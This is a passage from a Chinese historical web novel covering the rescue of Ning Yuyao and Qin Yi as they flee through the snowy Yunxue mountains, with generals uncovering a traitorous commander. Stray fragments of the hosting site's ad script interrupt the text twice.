进了宫,跟随内侍们来到乾元殿。承武帝依旧倚靠在软垫上,太子也起身侍立在承武帝身侧。三人恭敬地向承武帝请安。 承武帝微微颔首,示意给嘉阳长公主赐座。 见到祁婧惠,太子高兴地唤了一声:“姑母!” 自从承武帝感觉身体一日不如一日后,便让太子搬至乾元殿的偏殿,日日亲自教导他。加上瑶儿出事,太子已经许久未露出笑容了。 此时太子脸上的笑容让祁婧惠心中一跳,她心中隐隐升起一丝期待。 待距离最远的李皓也匆匆赶到乾元殿,承武帝挥了挥手,暗翎会意,立刻上前一步,对着四人讲述今日苍狄传来的消息。 “是瑶儿!绝对是瑶儿!”祁婧惠紧紧握着海捕文书,凝视着上面的画像,泪水止不住地往下流。 宁渊站在祁婧惠身侧,女儿失而复得的消息也让他忍不住热泪盈眶。 李皓在旁拱手轻声道了句:“恭喜!” “臭小子!”秦柏高兴地嘟囔了一声,一时得意忘形,偷偷用手肘拐了拐宁渊,“嘿嘿,亲家。” 孩子们还没成婚呢,喊什么亲家!宁渊满肚子的激动情绪被秦柏这一声“亲家”给冲散了。他无奈地看了一眼虽然嬉皮笑脸但眼眶泛红的秦柏,心中叹息一声,罢了罢了,这也是迟早的事。 待暗翎讲述完毕,在场众人皆眉头紧皱。 祁婧惠道:“瑶儿和秦熠都不是惹是生非的孩子,这苍狄必定是有什么不妥之处。” 承武帝微微颔首,他心中亦是这般想法,自己家的孩子自己了解。瑶儿断不会明知家人为她担心着急时,还跑去苍狄国都杀人放火。必定是苍狄做了对大宸不利的事情,才使得他们忍无可忍,做出这般举动。 “这些暂且放一边,先去接明安,等孩子们回来了便能清楚了,”承武帝下令,“秦柏,李皓,你们带定北军和南襄军去锦州和秧州守着。” “臣等遵旨!” 在场之人都明白承武帝的意思,现在情况不明朗,大宸不能明目张胆地出兵,也怕刺激到苍狄,引起不必要的麻烦。 至于锦州,虽然锦州有天险,但为了以防万一,倘若秦熠他们在走投无路的情况下只能选择走云雪山脉,那也必须有人在外面进行接应。 “陛下……”祁婧惠站起身来。 承武帝微微一笑:“阿姐想去就去吧。” “谢陛下隆恩!” 这次宁渊没有再度请旨出京,他也有自己的职责。况且有两位大将军出马,他相信瑶儿定能够平安归来。 104.天险 长公主府、诚国公府及秦将军府三府侍卫趁着夜色悄然离开了雁京城。 秦柏与李皓需先前往定北军和南襄军领兵,随后再奔赴秧、锦两州,而三府侍卫则交由祁婧惠统率。 尽管此时已至丑时,正是人最困倦的时候,然而秦将军府和长公主府的后门,两府家眷却都满脸喜色地站在小巷中,为秦柏和祁婧惠送行。 就连年近六十的秦老夫人都不顾秦柏阻拦,执意亲自送到门口,殷殷嘱咐道:“务必将两个孩子完完整整地带回来。” “娘,您放心等着便是。”秦柏紧紧握着秦老夫人的手,笑着说道。 至于等什么,秦柏怕刺激到不远处正在送别祁婧惠的宁渊,没有明言。秦家人自然心中有数,秦夫人狠狠瞪了秦柏一眼,示意他不要多话。 秦柏畅快大笑,他转身面向祁婧惠,拱了拱手,而后一挥马鞭,骏马迅速载着他消失在了巷道之中。 另一边,祁婧惠匆匆将府中事务交代完毕后也立即启程离开。自她得知了女儿的消息后,心中急切万分,一刻都不愿多作停留。 宁渊等妻子的背影消失,转头望向脸上满是欣喜的儿子儿媳,“夜深了,都回去歇息吧。” “是,父亲。”宁璟瑞应道。 他扶着口中念念有词的妻子,缓缓往回走。好奇地问:“珍娘,你在嘀咕什么呢?” “再有五十日便到玉瑶的生辰了。”姜婉珍回道,“玉瑶此次生辰定要好好操办一番,娘去接玉瑶,必然无暇顾及此事,只能由我这个嫂嫂来筹办了。” “珍娘,辛苦你了。”宁璟瑞握着姜婉珍的手,轻声说道。 姜婉珍嗔怪地瞥了丈夫一眼,“这哪里算得上辛苦,玉瑶亦是我的妹妹,她能平安归来,我心中欢喜得很呢。” 走在前面的宁渊听到小两口的对话,心中甚是欣慰。家人和睦,日子便能过得顺遂如意。只盼着惠娘能顺利接回瑶儿,一家人便可团圆了。 出了雁京城的祁婧惠快马加鞭,朝着云雪山脉疾驰而去。 这是她与秦、李两位将军商议后的决定。她率先带领三府侍卫奔赴云雪山脉,秦柏则从定州率领定北军随后赶来,而李皓会率领南襄军前往秧州。 虽说从秧州进入大宸会更为便捷,然而苍狄在秧州的驻兵数量众多。反观有着天险之称的云雪山脉,尽管对于常人而言难以通行,可依他们对秦熠的了解,这天险对他的威胁远远比不上源源不断的追兵。所以祁婧惠与秦柏决定在云雪山脉这一端等候。 祁婧惠一路日夜兼程,仅仅五日便抵达了锦州境内。 “殿下。”一名从定北军退下的斥候从远处飞奔而来,“前面有埋伏。” 埋伏?祁婧惠微微蹙眉,她出城之时特意隐匿了行踪,无人知晓她已离开雁京城,断不可能是有人埋伏她。 祁婧惠问:“可知他们在伏击何人?” “属下不知,不过越是靠近云雪山脉,埋伏的人便越多。凡是从云雪山脉附近经过的人皆会被击杀,他们似乎是在伏击从云雪山脉出来的人。” 一听到“云雪山脉”,祁婧惠咬牙,不管这些人是不是冲着瑶儿来的,她都绝不能留下这个隐患。 祁婧惠问道:“那里有多少人?” “启禀殿下,有近千人。” 祁婧惠沉吟,此时三府侍卫也不过近千人而已。并非没有与那伏兵一战之力,然而接下来还要进入山脉中寻人,人手不足,她不能冒这个险。 她从未想过让锦州驻军出兵相助,虽说锦州确实有驻军,可近千人在云雪山脉外设伏,锦州驻军却毫无作为,她已经不再相信锦州的驻军。 尽管心急如焚,她还是决定带上承武帝给她的虎符前往与锦州相邻的涑州,让涑州军出兵剿灭这群贼寇,至少涑州军的统领崔沭是个可信之人。 祁婧惠回头凝望着那白色的峰顶,瑶儿,若你真是从云雪山脉走,一定要再晚几日出来。千万不要在这危险之时现身,等娘将这些贼人诛灭了,再出来可好? 在被巍峨高耸的云雪山脉阻隔的另一侧,距离边境线仅有半日路程时,宁玉瑶便能清晰地瞧见远处那连绵起伏,银装素裹的白色峰峦。 “熠哥哥,那片雪山后面就是大宸了吗?” “嗯,那便是有着天险之称的云雪山脉。那里终年被积雪覆盖,气候严寒,地形更是险峻无比。”秦熠站在在树顶,眯起双眸紧盯着隐藏在山脚下的伏兵,沉声道,“先不着急,我们还需再做一番准备。” 然而虽说要准备,实际上也有诸多困难。 越是靠近云雪山脉的城镇,守卫就越发严密。陌生面孔基本都会遭到反复盘查,稍有差池便会引起怀疑。既然正路走不通,秦熠无奈之下只好继续做贼。 等到夜深人静,整个边陲小镇被寂静笼罩。 秦熠翻过军营围墙,轻盈落地,悄无声息地靠近库房。 或许是因为大部分兵力都被派遣至云雪山脉下埋伏他们二人,营地内的兵士寥寥无几,库房外只有零星的几个守卫打着瞌睡。 秦熠轻轻撬开库房的房门,闪身进入。他一边摇头叹息,自己当贼当得愈发顺手,一边毫不留情地拿走库房中自己所需的御寒物资和武器。 回到宁玉瑶藏身的山洞外,秦熠搬开山洞口的巨石。 “熠哥哥。”宁玉瑶一直躲在洞穴深处的拐角里,确定是秦熠后才走出来,看到他拿着的东西,惊讶道,“怎么这么多。” “都是用得上的。”秦熠背着弓箭,将手中的物品放到地上,“趁着他们没发现,我们今晚就进云雪山脉。” 宁玉瑶展开地上厚实的裘皮,触手便十分暖和。最大的皮囊里面装着干粮、肉干,还有火石、火药,甚至还有一个手炉。 “军营里还有这个?”宁玉瑶拿起那个小巧的手炉,翻来覆去地仔细看,怎么都觉得这不像是那帮糙汉子能用的东西。 “不是驻兵们用的,不知道是哪个将领带了女眷在营里,我看这在山里会用得上,就顺手拿了。”秦熠将另一个布袋打开,里面是一些木炭,“不是多好的炭,凑合用吧。” 宁玉瑶看了看手中的手炉和地上的木炭,赶紧把东西收起来,“我们快点出发吧。” 本来只是在库房里拿些东西,一时半会儿的不去库房说不定还发现不了,可秦熠还顺手拿了女眷的贴身之物,说不定不用天亮就能被发现了。 秦熠当然不可能那么不着调,这手炉估计是备用之物,放在营帐的角落中并不引人注目,但他也没解释,只是笑着看着宁玉瑶忙碌。 宁玉瑶将这几日陆续炮制好的各种药物贴身收好。随后试着伸手去拿地上那个用皮子包好的巨大行囊,然而那行囊纹丝不动,她甚至差点摔了个趔趄。 “这么重。”宁玉瑶泄气地看着那个行囊,今晚秦熠要独自去吸引伏兵的注意,她只需趁机赶紧跑进云雪山脉中即可。本想着自己带着行囊,能为秦熠减轻些负担,可没想到自己竟然连拿都拿不起来,更别说带着它奔跑了。 “不用担心我。”秦熠单手抱起她,另一只手则轻松地拎起那个让宁玉瑶使尽全身力气也拿不动的行囊。轻声安慰道,“等下你找准时机,就立刻往山脉中跑,等到了里面找个地方躲起来。别怕,我一定会找到你。” 宁玉瑶坐在秦熠的手臂上,静静地听着他絮絮叨叨的嘱咐。不管秦熠说什么,她都乖巧地应下。大战在即,她不想让秦熠因为担心自己而分心。 快到山脉边缘时,秦熠在一个山坳处停下了脚步。 这里是他在踩点时选定的进山点。此处虽然比其他进山口更为寒冷,但也正因为这份寒冷,这里的伏兵最少。而且从这里进去之后,大多是冰川地带。只要宁玉瑶能够顺利地跑进去,就不用担心里面会有埋伏。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦熠将宁玉瑶放下,在她身上裹上一张厚厚的棕熊裘斗篷。把装好炭火的手炉放到她手中,随后仔细地把斗篷上的兜帽给她戴好,温声说道:“不用管后面的情况,你只管朝着山脉里面跑。” 宁玉瑶用力地点头,躲在山坳中紧张地看着秦熠的一举一动。 只见秦熠稳步向前走着,同时拉开手中那张巨大的弓。“嗖”的一声,三枝利箭齐发。 远处顿时传来阵阵呼声:“有敌袭!”云雪山脚下的伏兵们立刻弯弓搭箭,向秦熠射去。然而他们的臂力远远不如秦熠,那些箭矢往往还没到达秦熠跟前,便失去力气纷纷掉落在地。 而秦熠则不停地变换着位置,他身姿矫健,每次开弓,必定会带走三条人命。 苍狄那边眼看着自己的兵士越来越少,可他们却连秦熠半分都伤不到。 驻守这个伏击点的千夫长心急如焚,立即下令:“冲上去,他只有一个人!” 伏击的苍狄兵士们听到命令,立即冲了出来,气势汹汹地向秦熠跑去。 秦熠眼见苍狄的兵士们都追了上来,他立即转身,朝着与宁玉瑶藏身之处完全相反的方向飞速跑去。 一边奔跑,他一边迅速地射箭,一支支利箭精准地射杀着紧追不舍的追兵。他的动作行云流水,没有丝毫慌乱,仿佛此时他不是在被追杀,而是在狩猎。 苍狄的兵士们见秦熠仅仅一人就敢如此大胆地戏耍他们,心中怒火更盛,不管不顾地向秦熠追去。 而在另一边,宁玉瑶偷偷从山坳中爬了出来,没有丝毫犹豫,径直朝着云雪山脉的方向奋力跑去。 身上的棕熊裘衣十分厚重,让宁玉瑶跑起来倍感吃力。但她不敢脱下这件裘衣,还没靠近山脉,她就能感受到一股刺骨的寒意,山脉里面只怕会更加寒冷。 身后传来阵阵激烈的厮杀声,宁玉瑶没有回头。她紧紧咬着嘴唇,闷着头拼命往前跑。她只想尽快跑进山脉,找到一个安全的地方躲起来,等秦熠来找她。 眼看就要成功进入山脉,一个胸口中箭的苍狄兵士发现了正偷偷潜入的宁玉瑶。他强忍着剧痛,挣扎着爬起来,举起手中的长剑狠狠朝着宁玉瑶砍下。 还好棕熊皮毛十分浓密,那兵士本就受伤严重,力气所剩无几,他的剑连裘皮都没伤到丝毫。宁玉瑶除了被他这突如其来的举动吓了一跳之外,可以说是毫发无损。 但这一剑之后,那兵士已然是强弩之末。他勉强支撑着站立着,眼见伤不到这个要潜入云雪山脉的小贼,用尽最后一丝力气,颤抖着掏出竹哨,想要请求援兵增援。 然而宁玉瑶不给他这个机会,她迅速捡起地上的长剑,毫不犹豫地一剑划过他的脖子,动作干净利落。 那名兵士死不瞑目地看着宁玉瑶,似乎怎么也没想到这么娇滴滴的姑娘,杀起人来居然毫不手软。 宁玉瑶瞥都没瞥地上的尸体一眼。她连国师和苍狄王都敢杀,又岂会对一个小小兵士心存仁慈?不过,有了这个小小的插曲,之后再看到有苍狄人的尸体,她都会顺手补上一刀,以防他们装死使诈。 另一边,秦熠看见宁玉瑶顺利地走进云雪山脉,心中稍安。他立即调转方向,朝着宁玉瑶之前藏身的地方飞奔而去。 此次行动的目的仅仅是为了顺利进山,并非要将这一支伏击队伍全部歼灭。他深知不可恋战,当务之急是尽快与宁玉瑶会合。 秦熠很快来到山坳处,迅速背起并扛起那里的行囊,然后朝着云雪山脉全力跑去。 身后的苍狄兵士们射出的箭矢如雨点般向他袭来,但那些箭矢大多都只扎在了他身后的行囊上。 秦熠速度极快,不一会儿便跑到了云雪山脚下。他掏出在库房中偷来的火药,点燃后奋力扔向冰岩。 只听一声惊天动地的爆炸声响起,冰岩瞬间断裂,巨大的冰块铺天盖地地砸了下来,将这条进入云雪山脉的路彻底封死。 105.叛变 云雪山脉狭窄的冰川中,凛冽的寒风呼啸而过。冰川两侧皆是晶莹剔透的冰层,反射着如水般柔和的月光。 宁玉瑶小心翼翼地踩在冰面上,每迈出一步,都会发出轻微的咯吱声,在寂静的冰川中格外清晰。 从未有人造访过的冰面,光滑得如同镜子一般。宁玉瑶站立不稳,试图扶着两侧的冰岩行走,然而她的手还未触碰到冰岩,便被空气中那刺骨的寒意刺痛,她赶紧将手拢在熊皮斗篷中。 她的脚上虽然也套上了厚厚的皮毛,可脚下的冰层寒意却仿佛无孔不入,透过层层皮毛以及鞋袜,一点一点地侵蚀着她的双脚,让她的脚渐渐失去知觉。 寒风吹过,偶尔有冰块从高处掉落,砸在冰面上,发出清脆的声响。宁玉瑶踩过那些碎冰,鞋底的皮毛渐渐被冻硬。就在她奋力攀爬一个小小的冰丘时,突然脚下一滑,重重摔倒在地,顺势滑出了很远一段距离。 她试图爬起来,可那厚重的熊皮裘犹如一座小山压在她身上,任凭她使尽浑身力气也难以起身。 这时,身后响起一声剧烈的爆炸声,如同惊雷般在冰川中回荡。她慌乱地看向周围,想要寻找一个可以藏身的地方。 她手脚并用,还没爬多远,就听到一阵急促的脚步声。头上的兜帽遮挡住了她的视线,她心中着急,不知道来人是不是秦熠。 下一瞬,她腾空而起。 匆匆赶来的秦熠,远远就看见如同小熊般在地上缓慢爬行的宁玉瑶。他大步上前,一把将她抱起来,赶紧把她冰凉的手放进怀里,轻声问:“摔疼没有?” “没有。”宁玉瑶轻轻摇头,她看到秦熠手臂上的箭矢,挣扎着要下去,“熠哥哥,你受伤了,我帮你上药。” 秦熠按住她,“不急,我们再走远一些。” 云雪山脉占地三十万倾之巨,山脉中数不清的冰川纵横交错,犹如一张巨网。秦熠虽然炸掉了这一个入口,但苍狄追兵极有可能从其他地方进入山脉。 他们必须尽快走远一些,才能确保那些穷追不舍的追兵无法找到他们的踪迹。 宁玉瑶明白其中的利害关系,便不再挣扎,任由秦熠抱着,朝着云雪山脉的深处走去。 秦熠下盘极稳,他的双脚仿佛在冰面上扎了根一般,每一步都迈得十分稳当。宁玉瑶依偎在他怀中,被冻得失去知觉的双脚,也渐渐回温。 一直走到天刚刚泛白,微弱的晨光洒在冰面上,秦熠终于找到了一处冰洞。 冰洞里面的温度虽然比外面更低,但是没有冷冽的寒风,要舒适许多。 秦熠扎好简单的帐篷,又将所有的裘皮都铺在地面上,稍稍阻隔地上那刺骨的寒冰。 “熠哥哥,先不忙那些,你的伤口要紧。”宁玉瑶被秦熠放下后才发现秦熠不止手臂受伤,就连两条腿上也各中了一箭。只是箭身部位被秦熠折断了,再加上天黑视线不佳,宁玉瑶之前没有发现。 秦熠听话地坐在帐篷中,静静地看着宁玉瑶为他处理箭伤。 宁玉瑶紧抿着唇,小心地用匕首划开秦熠的伤口,轻轻地取出箭头,再将事先准备好的伤药敷在伤口上。 对于秦熠会受伤这件事,宁玉瑶早有心理准备。秦熠虽然皮糙肉厚,但终究不是铜皮铁骨,此次他要独自一人面对如此众多的伏兵,受伤在所难免,不过幸好这些都只是皮外伤。 “还好没毒。”宁玉瑶长长地松了一口气。 秦熠整理好衣服,笑道:“毒药制作不易,云雪山脉如此广袤,他们不知道我们会往哪边走,自然不会轻易浪费。” 宁玉瑶轻轻应了一声,她亦清楚毒药得来不易。若真的那么容易制出,她这次就直接弄一批毒药出来,将那些伏兵统统毒死,又何必让秦熠去冒这般风险呢。 当初出小谷村时,江老费尽心思才做出了寥寥几种毒,而且每种毒药都只有一小瓶,全都被她用在了苍狄王和国师身上,这一路,江老给他们的药也早已用完。 奔波了一夜,宁玉瑶此时已是疲惫不堪,她忍不住打了个呵欠。 “睡会儿吧,”秦熠将她搂在怀里,用裘皮紧紧裹住二人,“放心,有我在。” 宁玉瑶靠在秦熠肩上,几乎是瞬间就沉入了梦乡。 秦熠看着外面透亮的天光,也不知道云雪山脉外面的情况如何,只希望大宸已经得到了消息。 他幽幽地叹了口气,苍狄放了那么多信鸽,目的就是为了让国师埋在大宸的暗桩追剿他们,也不知道大宸地界上会有多少匪贼在等着他们,秦大将军,你要是不能发现其中的异样,那就太丢人了! 爹,你一定要争口气啊! “阿嚏!”秦柏忍不住揉了揉发痒的鼻尖,小声嘟囔:“哪个兔崽子在骂老子!” “将军,伏兵已尽数被抓捕。”先锋营的严耕驱马快速来到秦柏面前,递上两张画像,“这是从头领身上搜出来的。” 秦柏接过画像,目光在画像上停留片刻,心中冷笑,果然,又是要埋伏郡主和他家那臭小子的。 从定州一路行至锦州,越是接近锦州地界,伏兵就越多。这已经是他们抓到的第三批伏兵了。 看样子郡主和臭小子手上必定有了不得的东西,否则苍狄埋在大宸的钉子也不会忍不住倾巢而出,想尽办法都要绞杀他们。 “继续前进,全速赶往锦州。”秦柏将画像收起,不再耽搁。 光是锦州周围就有这么多埋伏,恐怕云雪山脉一带伏击的人会更多。他们必须赶紧赶过去,否则郡主和臭小子的处境将会更加危险。 定北军的兵士们无需秦柏催促,便迅速行动起来。 去岁太子殿下回京之时遭遇袭击,护送殿下的那支定北军精锐小队全军覆没,而秦熠带着郡主跳河之后生死不明。这个消息传到定北军营地后,兵士们群情激愤,心中都憋着一口气。 前些时日,秦柏将军带着圣旨赶到定北军,要清点一万人马随他出征。虽然当时大家都不清楚秦将军为何要带定北军来锦州,但定北军中没有孬种。 为了这一万个名额,几个大营的旅帅们争得不可开交,差点打成狗脑袋,才抢到这次机会。 就在前几日,从伏击的匪徒身上搜出秦熠的画像,这让跟着过来的定北军们激动不已。 秦都司回来了!他们心中的喜悦难以言表。而这些瘪三竟然想要伏击秦都司和郡主,那要看他们定北军答不答应! 自那以后的路程无需秦柏催促,定北军的兵士们走得比谁都积极。 严耕骑在马背上,得意地跟一侧的蒋老三挤眉弄眼,“多亏了我吧。” 蒋老三笑着捶了严耕一拳,“严旅帅英明。” 当时严耕可是靠着使诈才在此次行动中争得一席之地,先锋营的兵士们没少说严旅帅阴险。可现在知道是为了接应秦都司,他们一个个又立即改口夸赞严耕英明神武。 严耕昂起头,轻轻哼了一声,并不与他们计较。 随着离云雪山脉越来越近,几位定北军的旅帅也渐渐发现了不对。 事情比他们之前所想的更加严重,锦州通往雁京的几条必经之路都设满了伏兵。 锦州营统率刘昭当真不知情吗? 要么他早有异心,要么他就是个废物,但不管是哪一点,他都罪责难逃。 同样挑选了一万南襄军前往秧州的李皓正紧咬着后槽牙,面色阴沉地看着那些被击杀的伏兵。 “将军,他们好像是苍狄兵士!”打扫战场的南襄军虎贲营旅帅脸色沉重。 李皓缓缓闭上眼睛,掩住眼中的痛苦。他怎么也不敢相信,满门忠烈的方家,居然会有人通敌卖国。 可如果没有方廷峪的首肯,两批伪装成山匪,近三千人的苍狄兵士,怎么可能绕过层层关卡来到秧州。 半晌,李皓睁开眼睛,深深地吸了一口气,努力平复自己的情绪。他冷静地吩咐道:“不要打草惊蛇。” 现在他只带了一万人马,不可能抵挡方廷峪手中的十万忠勇军。他只能压下心中的怒火,像多年老友般对方廷峪虚以为蛇。 “方将军!许久未见!”李皓大笑着对方廷峪拱手。 方廷峪看着李皓带来的一万南襄军,心头一跳,一种不安的感觉涌上心头。但他很快沉住气,问道:“不知李将军怎么带着南襄军来秧州了?” “哦,李某奉命行事,”李皓拿出圣旨,满脸惭愧,“陛下说我们南襄军在襄州一待就是数年不挪窝,怕这群臭小子的骨头生锈,让李某亲自调教他们。这不快过年了吗,陛下的意思是让南襄军造福百姓,哪里有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 山匪就去哪里。” “不过,”李皓话锋一转,“方将军,你们秧州山匪有些多啊,我们刚进秧州就抓了两伙山匪在打劫过往商队了。” 方廷峪面露苦涩,无奈地笑道:“苍狄近来频繁异动,边城突然增添了许多兵力。忠勇军要时刻提防苍狄,一时不察,便被那伙匪徒钻了空子。方某深感愧疚,实在愧对圣恩。” “无碍无碍,”李皓挥了挥手中的圣旨,朗声笑道,“方将军恪守国门,陛下定能体谅你的难处,小小山匪,就交由我们南襄军也是一样。” 方廷峪瞥了一眼李皓手中的圣旨,心中虽然怀疑,可他着实没有那个胆量去真的查看圣旨内容,只得勉强挤出笑容,说道:“陛下圣明。不知李将军此次打算在秧州停留多长时间?” 李皓自然能够看出方廷峪话语中隐含的试探之意,他尚未开口,身后的二儿子李晏修便大声嚷嚷起来:“爹,咱们在秧州多休息几日再走吧,儿子实在走不动了。” “废物!”李皓眉毛瞬间竖起,怒声呵斥道,“你这才出来多久?就开始喊累,成何体统!” 他猛地抽出马鞭,作势要打儿子。李晏修一看见他爹抽出鞭子,吓得赶紧拔腿就跑。 一旁的南襄军各营旅帅急忙上前拦住李皓,纷纷劝说道:“将军,将军,李郎将毕竟还年轻,没吃过什么苦。这次一路疾行,确实辛苦了。” “陛下说只要在年前剿完匪就行,在秧州休息几日也无大碍。而且我们的兵士许多年都没上过战场了,让他们在这段时日与忠勇军的兵士们好好请教请教,不也是一件好事吗?” 李皓略作思索,觉得旅帅们所言有理。他的怒气渐渐缓和下来,羞愧地对方廷峪说:“唉,李某实在是教子无方,让方将军见笑了。既然如此,那我们便只能在此叨扰几日了。” 方廷峪呵呵一笑,事已至此,他也不能赶走南襄军。否则不就是此地无银三百两,明明白白地告诉李皓秧州有问题吗?他只能捏着鼻子让人带南襄军去寻了个地方扎营。 临时驻扎的主帅营帐中,方才跑得不见踪影的李晏修钻了进来。 “如何?”李皓问。 此次李皓以给儿子刷功绩为由带上了李晏修,用以掩人耳目,方才李晏修逃跑后,方廷峪身边的亲卫立即跟了上去。 “爹,”李晏修先对营帐中的旅帅们拱手行礼,才对李皓说道,“方才亲兵问儿子那些山匪可有何不妥之处,儿子只说自己没上战场,搪塞过去了。” 方廷峪派来的人不敢向李皓以及各营旅帅这些老狐狸打探消息,便想着从李晏修这个草包身上寻找突破口。然而这个草包只是来刷战绩的,连刀都没开过刃,对那些事情可以说是一问三不知。亲兵无奈,只得铩羽而归。 李皓和旅帅们对视一眼,叹了口气,这方廷峪果然有问题,就是不知道他已经做到哪一步了。 “爹。”李晏修看着父亲惆怅的脸,不知如何安慰,他不止一次听说过十八年前宫变时,父亲曾与方将军并肩作战,如今方将军明里暗里都在赶南襄军离开秧州,很明显,他对苍狄伏击秦都司一事是知情的。 “罢了,走一步看一步吧,我相信大宸的儿郎们。方廷峪应该没那么大本事让十万忠勇军都叛变。” 能进忠勇军的兵士大部分都是秧州一带的百姓,苍狄曾对秧州犯下累累罪行,只要有血性的秧州百姓都不会倒戈向苍狄。 就是不知道方廷峪是不是脑子坏掉了,苍狄人杀了他的父亲和祖父,他居然还能帮着苍狄做事! 方廷峪站在忠勇军大营门前看着远处忙碌扎营的南襄军,身边亲兵轻声说:“将军,属下刚问过李晏修,南襄军似乎并未发现那些山匪是苍狄人。” “李皓那个老狐狸,就算他发现了也不会让人看出来的。”方廷峪冷哼。 “这可如何是好,”亲兵忍不住惊慌,“而且若过些时日秦熠逃往秧州……” “计划不变。”方廷峪毫不犹豫地说。 “可……南襄军还在此处。” “怕什么,他们才一万人,到时候就说南襄军伙同秦熠叛逃苍狄,被忠勇军尽数剿灭!”方廷峪咬牙道,虽然忠勇军大部分将士都忠于大宸,但那些低等兵士不过是一群愚民罢了,他们永远不会知道真相。 106.风雪 休息了半日,宁玉瑶推开压在自己身上的裘皮,掀开帐篷一角,寒冷的空气扑面而来,寒意瞬间传遍全身,让她忍不住瑟缩。 她赶紧翻出件轻便的貂绒大氅穿好,走到正在炭火上烤饼的秦熠身边。 伸手戳了戳火堆边硬邦邦的水囊,云雪山脉里太过寒冷,水囊里的水已经冻成了冰块,也不知道要多久才能化开。 “喝点水。”秦熠侧身从怀中掏出一个水囊,递给宁玉瑶。 此次进山,他特地准备了好几个装满水的水囊,方才化了一个,一直贴身放着保温。 宁玉瑶接过水囊,喝了一口,温暖的水流顺着喉咙流淌而下,她的身体也渐渐暖和起来。 她放下水囊,轻轻敲击冰洞壁上厚厚的冰层,“熠哥哥怎么还特地带这么多水进来,这满山都是冰,化开不就可以用了吗?” 秦熠拿过她手中的水囊,又贴身放在衣服里,将手中烤好的饼递给她,解释道:“云雪山脉的冰层不知道存在了多少年,里面有许多脏污,不到万不得已的时候别用这些冰层化的水。” 宁玉瑶接过烤饼,慢慢啃着。她的目光始终好奇地看着洞壁,冰层在火光的映照下显得晶莹剔透,宛如水晶一般,完全看不出里面有什么脏东西。 突然身上一重,她转过头,秦熠又将那件厚重的熊皮斗篷披在她身上。 “好重,”宁玉瑶皱了皱鼻子,“穿着它不好走路。” “外面太冷了,不穿会着凉,”秦熠用斗篷将她紧紧裹住,“我背着你走便是。” 宁玉瑶瘪了瘪嘴,没再反抗。 趁着她吃饼的功夫,秦熠将帐篷拆了下来,又重新收拾成了那个巨大的行囊。随后用匕首将一块毛皮裁成条状,裹在手指上,这样便能够抵御些许寒风。 全部收拾完毕,宁玉瑶也吃得差不多了,烤饼很干,噎得她眼泪汪汪,喝了好几口水才顺下去。 “再忍几天,等我们出去就好了。”秦熠无奈地拍着她的后背,冰山里面除了冰雪,什么都没有,只能将就将就了。 “没事,我们出发吧。”宁玉瑶擦掉被噎出来的眼泪,仰头对秦熠灿烂的笑容。 秦熠揉揉她的头,拿出布条蒙住她的眼睛,轻声解释:“冰面看久了会伤眼,你闭着眼睛休息。” “好。”宁玉瑶乖乖点头。 秦熠仔细将宁玉瑶全身都用熊皮紧紧裹好,然后给她戴上斗篷上的兜帽。一切准备妥当后,他才背起宁玉瑶,用绳索将她牢牢捆在自己身上。 宁玉瑶趴在他的背上,忽然发出清脆的笑声:“熠哥哥,好像到了苍狄之后,我都是被你捆着的呢。” 听到宁玉瑶的话,秦熠也忍不住笑了起来。他的眼睛上同样蒙着黑布,其他部位都用轻薄的裘皮裹住。 说话的声音从裘皮下传来,有些闷,“玉瑶你要是这么跟殿下说,殿下和国公爷能把我的手给砍了。” 宁玉瑶抓着他的后衣领,笑得花枝乱颤。 秦熠半点不受她颤动的影响,左手拎着行囊,右手握着昨晚捡来的长枪往洞外走去。 刚到洞穴口,一阵狂风呼啸而来,宁玉瑶紧贴在秦熠背上,不敢再乱动。 秦熠抬头看着漫天飞舞的雪花,将手中长枪的枪头用力扎进地面,以长枪为拐杖,毅然走进暴风雪中。 即便宁玉瑶全身都缩在熊皮斗篷中,也能清晰地感受到大块大块的雪团砸在自己身上。 风很大,大得让人几乎无法呼吸。她的兜帽差点被风掀开,一只手都抓不住,只能两只手紧紧扯着兜帽。好在她被捆在秦熠身上,不用担心会摔下去。 突然,风变得更加猛烈,宁玉瑶不知道发生了什么,只觉得周围的一切都在剧烈摇晃。 片刻后,秦熠才稳住身形,狂风中传来他模糊的声音:“玉瑶,别怕。” 宁玉瑶拍着他的后背,安抚他,示意他不要担心。 秦熠绕过崩塌的冰面,喘了口气,热气化作一团白雾。他看了眼太阳的方位,握紧长枪,继续朝着大宸的方向走去。 此时,云雪山脉外也纷纷扬扬地下起了大雪。 祁婧惠站在山脚,静静地看着被冰雪笼罩的山群。 附近的伏兵已经被崔沭领兵剿灭,然而,谁也没有想到,锦州才刚到十月末就下起了如此大的雪。 这场突如其来的大雪打乱了她原本的计划。 祁婧惠本想让秦将军府的兵士们进山寻人,可风雪使得山路变得异常危险。 现在还不知道那两个孩子走的是哪条路,暂时没必要让这些为大宸立下过汗马功劳的兵士们贸然进山送死,祁婧惠只得下令原地扎营。 至少伏兵已经被清理干净,李皓将军也带兵去了秧州,不管瑶儿从哪边出来都会是安全的。 看了一会儿雪山,祁婧惠转身走进主帐中。她拿出从伏兵身上搜出来的画像,轻哼一声。 现在她没空去追究,等接到了瑶儿,那些胆敢吃里扒外的奸人,有一个算一个,她都不会放过他们。 “殿下,”门外传来崔沭轻唤,“秦将军带定北军到了。” 这么快?祁婧惠心中有些诧异。按路程来算,定北军最少还要三日才能到,看来他们这一路没怎么休息就赶了过来。 她收起画像,走出营帐。 站在营地外,远远地便能看见一支气势恢宏的队伍扬着定北军旗帜,浩浩荡荡地朝这边走来,那面军旗在风雪中猎猎作响。 为首的秦柏见祁婧惠在营地外迎接他,赶紧驱马小跑至祁婧惠面前,利落地翻身下马,恭敬行礼:“参见长公主殿下。” 身后的定北军也纷纷跪地,齐声高呼:“参见长公主殿下!” “秦将军无需多礼。”祁婧惠抬手,虚扶秦柏,“一路辛苦了,先扎营休整吧。” “谢殿下。”秦柏站直身子,这才看见祁婧惠身后的崔沭,面露诧异,“老崔?” 祁婧惠的目光掠过正在扎营的定北军兵士身上的血迹,心中顿时有数。想来定北军也是遇到了伏兵,才会一刻不停地赶来云雪山脉。 “秦将军。”祁婧惠抬眸看向秦柏,“我们帐内详谈。” 秦柏眉头紧蹙,点头跟着祁婧惠和崔沭走进主帐中。 “二位将军请坐。”祁婧惠指着旁边的椅子示意道。 秦柏和崔沭谢过殿下赐座,坐在祁婧惠的下首位置。 